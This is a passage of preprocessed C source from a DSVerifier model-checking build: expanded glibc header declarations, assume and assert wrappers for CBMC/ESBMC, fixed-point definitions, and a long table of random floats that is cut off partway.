# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 84 "/usr/include/stdio.h" 3 4
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
void __DSVERIFIER_assume(_Bool expression){
__CPROVER_assume(expression);
}
void __DSVERIFIER_assert(_Bool expression){
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 36, __extension__ __PRETTY_FUNCTION__); }))
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
void __DSVERIFIER_assert_msg(_Bool expression, char * msg){
printf("%s", msg);
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 41, __extension__ __PRETTY_FUNCTION__); }))
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
# 22 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 1
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 1 3 4
# 9 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 3 4
# 1 "/usr/include/stdint.h" 1 3 4
# 26 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wchar.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 30 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
typedef __uint8_t uint8_t;
typedef __uint16_t uint16_t;
typedef __uint32_t uint32_t;
typedef __uint64_t uint64_t;
# 38 "/usr/include/stdint.h" 2 3 4
typedef __int_least8_t int_least8_t;
typedef __int_least16_t int_least16_t;
typedef __int_least32_t int_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least8_t uint_least8_t;
typedef __uint_least16_t uint_least16_t;
typedef __uint_least32_t uint_least32_t;
typedef __uint_least64_t uint_least64_t;
typedef signed char int_fast8_t;
typedef long int int_fast16_t;
typedef long int int_fast32_t;
typedef long int int_fast64_t;
# 71 "/usr/include/stdint.h" 3 4
typedef unsigned char uint_fast8_t;
typedef unsigned long int uint_fast16_t;
typedef unsigned long int uint_fast32_t;
typedef unsigned long int uint_fast64_t;
# 87 "/usr/include/stdint.h" 3 4
typedef long int intptr_t;
typedef unsigned long int uintptr_t;
# 101 "/usr/include/stdint.h" 3 4
typedef __intmax_t intmax_t;
typedef __uintmax_t uintmax_t;
# 10 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 2 3 4
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 1 "/usr/include/inttypes.h" 1 3 4
# 34 "/usr/include/inttypes.h" 3 4
typedef int __gwchar_t;
# 266 "/usr/include/inttypes.h" 3 4
typedef struct
{
long int quot;
long int rem;
} imaxdiv_t;
# 290 "/usr/include/inttypes.h" 3 4
extern intmax_t imaxabs (intmax_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern intmax_t strtoimax (const char *__restrict __nptr,
char **__restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t strtoumax (const char *__restrict __nptr,
char ** __restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr,
__gwchar_t **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr,
__gwchar_t ** __restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
# 432 "/usr/include/inttypes.h" 3 4
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
extern implementation impl;
typedef int64_t fxp_t;
fxp_t _fxp_one;
fxp_t _fxp_half;
fxp_t _fxp_minus_one;
fxp_t _fxp_min;
fxp_t _fxp_max;
double _dbl_max;
double _dbl_min;
fxp_t _fxp_fmask;
fxp_t _fxp_imask;
static const double scale_factor[31] = { 1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0,
128.0, 256.0, 512.0, 1024.0, 2048.0, 4096.0, 8192.0, 16384.0, 32768.0,
65536.0, 131072.0, 262144.0, 524288.0, 1048576.0, 2097152.0, 4194304.0,
8388608.0, 16777216.0, 33554432.0, 67108864.0, 134217728.0,
268435456.0, 536870912.0, 1073741824.0 };
static const double scale_factor_inv[31] = { 1.0, 0.5, 0.25, 0.125, 0.0625,
0.03125, 0.015625, 0.0078125, 0.00390625, 0.001953125, 0.0009765625,
0.00048828125, 0.000244140625, 0.0001220703125, 0.00006103515625,
0.000030517578125, 0.000015258789063, 0.000007629394531,
0.000003814697266, 0.000001907348633, 0.000000953674316,
0.000000476837158, 0.000000238418579, 0.000000119209290,
0.000000059604645, 0.000000029802322, 0.000000014901161,
0.000000007450581, 0.000000003725290, 0.000000001862645,
0.000000000931323 };
static const float rand_uni[10000] = { -0.486240329978498f, -0.0886462298529236f, -0.140307596103306f, 0.301096597450952f, 0.0993171079928659f, 0.971751769763271f, 0.985173975730828f, 0.555993645184930f, 0.582088652691427f, -0.153377496651175f, 0.383610009058905f, -0.335724126391271f, 0.978768141636516f, -0.276250018648572f, 0.390075705739569f, -0.179022404038782f, 0.690083827115783f, -0.872530132490992f, -0.970585763293203f, -0.581476053441704f, -0.532614615674888f, -0.239699306693312f, -0.678183014035494f, 0.349502640932782f, -0.210469890686263f, 0.841262085391842f, -0.473585465151401f, 0.659383565443701f, -0.651160036945754f, -0.961043527561335f, -0.0814927639199137f, 0.621303110569702f, -0.784529166943541f, 0.0238464770757800f, 0.392694728594110f, 0.776848735202001f, 0.0870059709310509f, 0.880563655271790f, 0.883457036977564f, -0.249235082877382f, -0.691040749216870f, 0.578731120064320f, -0.973932858000832f, -0.117699105431720f, -0.723831748151088f, -0.483149657477524f, -0.821277691383664f, -0.459725618100875f, 0.148175952221864f, 0.444306875534854f, -0.325610376336498f, 0.544142311404910f, -0.165319440455435f, 0.136706800705517f, 0.543312481350682f, 0.467210959764607f, -0.349266618228534f, -0.660110730565862f, 0.910332331495431f, 0.961049802789367f, -0.786168905164629f, 0.305648402726554f, 0.510815258508885f, 0.0950733260984060f, 0.173750645487898f, 0.144488668408672f, 0.0190031984466126f, -0.299194577636724f, 0.302411647442273f, -0.730462524226212f, 0.688646006554796f, 0.134948379722118f, 0.533716723458894f, -0.00226300779660438f, -0.561340777806718f, 0.450396313744017f, -0.569445876566955f, 0.954155246557698f, -0.255403882430676f, -0.759820984120828f, -0.855279790307514f, -0.147352581758156f, -0.302269055643746f, -0.642038024364086f, -0.367405981107491f, 0.491844011712164f, -0.542191710121194f, -0.938294043323732f, 0.683979894338020f, 0.294728290855287f, 0.00662691839443919f, -0.931040350582855f, 0.152356209974418f, 0.678620860551457f, -0.534989269238408f, 0.932096367913226f, -0.0361062818028513f, -0.847189697149530f, -0.975903030160255f, 0.623293205784014f, -0.661289688031659f, 0.724486055119603f, 0.307504095172835f, 0.00739266163731767f, -0.393681596442097f, 0.0313739422974388f, 0.0768157689673350f, -0.652063346886817f, 0.864188030044388f, -0.588932092781034f, 0.496015896758580f, -0.872858269231211f, 0.978780599551039f, -0.504887732991147f, -0.462378791937628f, 0.0141726829338038f, 0.769610007653591f, 0.945233033188923f, -0.782235375325016f, -0.832206533738799f, 0.745634368088673f, -0.696969510157151f, -0.0674631869948374f, -0.123186450806584f, -0.359158959141949f, -0.393882649464391f, 0.441371446689899f, -0.829394270569736f, -0.301502651277431f, -0.996215501187289f, 0.934634037393066f, -0.282431114746289f, -0.927550795619590f, -0.437037530043415f, -0.360426812995980f, 0.949549724575862f, 0.502784616197919f, 0.800771681422909f, -0.511398929004089f, 0.309288504642554f, -0.207261227890933f, 0.930587995125773f, -0.777029876696670f, -0.489329175755640f, -0.134595132329858f, 0.285771358983518f, 0.182331373854387f, -0.544110494560697f, 0.278439882883985f, -0.556325158102182f, 0.579043806545889f, 0.134648133801916f, 0.602850725479294f, -0.151663563868883f, 0.180694361855878f, -0.651591295315595f, 0.281129147768056f, -0.580047306475484f, 0.687883075491433f, 0.279398670804288f, -0.853428128249503f, -0.532609367372680f, -0.821156786377917f, -0.181273229058573f, -0.983898569846882f, -0.0964374318311501f, 0.880923372124250f, 0.102643371392389f, 0.893615387135596f, -0.259276649383649f, 0.699287743639363f, 0.402940604635828f, -0.110721596226581f, 0.0846246472582877f, 0.820733021865405f, 0.795578903285308f, -0.495144122011537f, 0.273150029257472f, -0.268249949701437f, 0.231982193341980f, 0.694211299124074f, 0.859950868718233f, 0.959483382623794f, -0.422972626833543f, -0.109621798738360f, 0.433094703426531f, 0.694025903378851f, 0.374478987547435f, -0.293668545105608f, -0.396213864190828f, -0.0632095887099047f, -0.0285139536748673f, 0.831794132192390f, -0.548543088139238f, 0.791869201724680f, 0.325211484201845f, 0.155274810721772f, -0.112383643064821f, -0.674403070297721f, 0.642801068229810f, -0.615712048835242f, -0.322576771285566f, -0.409336818836595f, 0.548069973193770f, -0.386353709407947f, -0.0741664985357784f, 0.619639599324983f, -0.815703814931314f, 0.965550307223862f, 0.623407852683828f, -0.789634372832984f, 0.736750050047572f, -0.0269443926793700f, 0.00545706093721488f, -0.315712479832091f, -0.890110021644720f, -0.869390443173846f, -0.381538869981866f, -0.109498998005949f, 0.131433952330613f, -0.233452413139316f, 0.660289822785465f, 0.543381186340023f, -0.384712418750451f, -0.913477554164890f, 0.767102957655267f, -0.115129944521936f, -0.741161985822647f, -0.0604180020782450f, -0.819131535144059f, -0.409539679760029f, 0.574419252943637f, -0.0440704617157433f, 0.933173744590532f, 0.261360623390448f, -0.880290575543046f, 0.329806293425492f, 0.548915621667952f, 0.635187167795234f, -0.611034070318967f, 0.458196727901944f, 0.397377226781023f, 0.711941361933987f, 0.782147744383368f, -0.00300685339552631f, 0.384687233450957f, 0.810102466029521f, 0.452919847968424f, -0.183164257016897f, -0.755603185485427f, -0.604334477365858f, -0.786222413488860f, -0.434887500763099f, -0.678845635625581f, -0.381200370488331f, -0.582350534916068f, -0.0444427346996734f, 0.116237247526397f, -0.364680921206275f, -0.829395404347498f, -0.258574590032613f, -0.910082114298859f, 0.501356900925997f, 0.0295361922006900f, -0.471786618165219f, 0.536352925101547f, -0.316120662284464f, -0.168902841718737f, 0.970850119987976f, -0.813818666854395f, -0.0861183123848732f, 0.866784827877161f, 0.535966478165739f, -0.806958669103425f, -0.627307415616045f, -0.686618354673079f, 0.0239165685193152f, 0.525427699287402f, 0.834079334357391f, -0.527333932295852f, 0.130970034225907f, -0.790218350377199f, 0.399338640441987f, 0.133591886379939f, -0.181354311053254f, 0.420121912637914f, -0.625002202728601f, -0.293296669160307f, 0.0113819513424340f, -0.882382002895096f, -0.883750159690028f, 0.441583656876336f, -0.439054135454480f, 0.873049498123622f, 0.660844523562817f, 0.0104240153103699f, 0.611420248331623f, -0.235926309432748f, 0.207317724918460f, 0.884691834560657f, 0.128302402592277f, -0.283754448219060f, 0.237649901255856f, 0.610200763264703f, -0.625035441247926f, -0.964609592118695f, -0.323146562743113f, 0.961529402270719f, -0.793576233735450f, -0.843916713821003f, 0.314105102728384f, -0.204535560653294f, 0.753318789613803f, 0.160678386635821f, -0.647065919861379f, -0.202789866826280f, 0.648108234268198f, -0.261292621025902f, 0.156681828732770f, 0.405377351820066f, 0.228465381497500f, 0.972348516671163f, 0.288346037401522f, -0.0799068604307178f, 0.916939290109587f, -0.279220972402209f, -0.203447523864279f, -0.533640046855273f, 0.543561961674653f, 0.880711097286889f, -0.549683064687774f, 0.0130107219236368f, -0.554838164576024f, -0.379442406201385f, -0.00500104610043062f, 0.409530122826868f, -0.580423080726061f, 0.824555731914455f, -0.254134502966922f, 0.655609706875230f, 0.629093866184236f, -0.690033250889974f, -0.652346551677826f, 0.169820593515952f, 0.922459552232043f, 0.351812083539940f, 0.876342426613034f, -0.513486005850680f, -0.626382302780497f, -0.734690688861027f, 0.245594886018314f, -0.875740935105191f, -0.388580462918006f, 0.0127041754106421f, -0.0330962560066819f, -0.425003146474193f, 0.0281641353527495f, 0.261441358666622f, 0.949781327102773f, 0.919646340564270f, 0.504503377003781f, 0.0817071051871894f, 0.319968570729658f, 0.229065413577318f, -0.0512608414259468f, -0.0740848540944785f, -0.0974457038582892f, 0.532775710298005f, -0.492913317622840f, 0.492871078783642f, -0.289562388384881f, 0.229149968879593f, 0.697586903105899f, 0.900855243684925f, 0.969700445892771f, -0.618162745501349f, -0.533241431614228f, -0.937955908995453f, 0.886669636523452f, 0.498748076602594f, 0.974106016180519f, -0.199411214757595f, 0.725270392729083f, -0.0279932700005097f, -0.889385821767448f, -0.452211028905500f, -0.487216271217731f, -0.577105004471439f, 0.777405674160298f, 0.390121144627092f, -0.595062864225581f, -0.844712795815575f, -0.894819796738658f, 0.0556635002662202f, 0.200767245646242f, 0.481227096067452f, -0.0854169009474664f, 0.524532943920022f, -0.880292014538901f, -0.127923833629789f, -0.929275628802356f, 0.233276357260949f, -0.776272194935070f, 0.953325886548014f, -0.884399921036004f, -0.504227548828417f, -0.546526107689276f, 0.852622421886067f, 0.947722695551154f, -0.668635552599119f, 0.768739709906834f, 0.830755876586102f, -0.720579994994166f, 0.761613532216491f, 0.340510345777526f, 0.335046764810816f, 0.490102926886310f, -0.568989013749608f, -0.296018470377601f, 0.979838924243657f, 0.624231653632879f, 0.553904401851075f, -0.355359451941014f, 0.267623165480721f, 0.985914275634075f, -0.741887849211797f, 0.560479100333108f, -0.602590162007993f, -0.874870765077352f, -0.0306218773384892f, 0.963145768131215f, 0.544824028787036f, -0.133990816021791f, 0.0679964588712787f, -0.156401335214901f, -0.0802554171832672f, 0.856386218492912f, 0.143013580527942f, 0.403921859374840f, -0.179029058044097f, 0.770723540077919f, -0.183650969350452f, -0.340718434629824f, 0.217166124261387f, -0.171159949445977f, 0.127493767348173f, -0.649649349141405f, -0.0986978180993434f, 0.301786606637125f, 0.942172200207855f, 0.0323236270151113f, -0.579853744301016f, -0.964413060851558f, 0.917535782777861f, 0.442144649483292f, -0.684960854610878f, -0.418908715566712f, 0.617844265088789f, 0.897145578082386f, 0.235463167636481f, 0.0166312355859484f, 0.948331447443040f, -0.961085640409103f, -0.0386086809179784f, -0.949138997977665f, 0.738211385880427f, 0.613757309091864f, -0.606937832993426f, 0.825253298062192f, 0.932609757667859f, -0.169023247637751f, -0.411237965787391f, 0.550590803600950f, -0.0561729280137304f, -0.559663108323671f, -0.718592671237337f, 0.885889621415361f, -0.364207826334344f, -0.839614660327507f, 0.265502694339344f, 0.394329270534417f, -0.270184577808578f, -0.865353487778069f, -0.528848754655393f, -0.179961524561963f, 0.571721065613544f, -0.774363220756696f, 0.251123315200792f, -0.217722762975159f, 0.0901359910328954f, -0.329445470667965f, 0.366410356722994f, -0.777512662632715f, 0.654844363477267f, -0.882409911562713f, -0.613612530795153f, -0.926517759636550f, 0.111572665207194f, 0.0729846382226607f, 0.789912813274098,
0.784452109264882f, -0.949766989295825f, 0.318378232675431f, 0.732077593075111f, 0.786829143208386f, -0.134682559823644f, 0.733164743374965f, 0.978410877665941f, 0.992008491438409f, -0.319064303035495f, 0.958430683602029f, 0.514518212363212f, 0.101876224417090f, 0.642655735778237f, -0.170746516901312f, 0.252352078365623f, -0.761327278132210f, 0.724119717129199f, 0.889374997869224f, -0.785987369200692f, -0.594670344572584f, 0.805192297495935f, -0.990523259595814f, 0.483998949026664f, 0.747350619254878f, -0.824845161088780f, 0.543009506581798f, -0.208778528683094f, -0.314149951901368f, 0.943576771177672f, -0.102633559170861f, -0.947663019606703f, -0.557033071578968f, 0.419150797499848f, 0.251214274356296f, 0.565717763755325f, 0.126676667925064f, -0.0213369479214840f, 0.342212953426240f, -0.288015274572288f, 0.121313363277304f, 0.452832374494206f, 0.545420403121955f, -0.616024063400938f, -0.0320352392995826f, -0.400581850938279f, 0.0642433474653812f, -0.673966224453150f, 0.951962939602010f, -0.241906012952983f, 0.0322060960995099f, -0.449185553826233f, -0.709575766146540f, 0.0283340814242898f, 